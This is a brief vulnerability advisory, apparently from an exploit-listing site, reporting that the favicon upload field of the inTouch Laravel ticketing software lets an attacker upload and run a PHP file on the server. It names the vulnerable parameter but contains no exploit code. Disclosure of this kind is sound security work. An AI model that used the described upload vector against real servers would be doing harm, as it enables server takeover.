## Title: inTouch-1.0 File Upload - RCE
## Author: nu11secur1ty
## Vendor: https://codecanyon.net/user/media-city
## Software: https://codecanyon.net/item/intouch-laravel-support-ticket-management-system/35177425?s_rank=2
## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
## Description:
The class="custom-file-input" id="favicon" parameter is vulnerable to File Upload and RCE attacks, it is not sanitized correctly.
The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be
the end of this server depending on the scenario! In this case, I just uploaded a php exploit that makes a hacked.html file with a link, which is absolutely DANGER! =)
I am a Penetration Tester, not a stupid cracker! Thank you all!
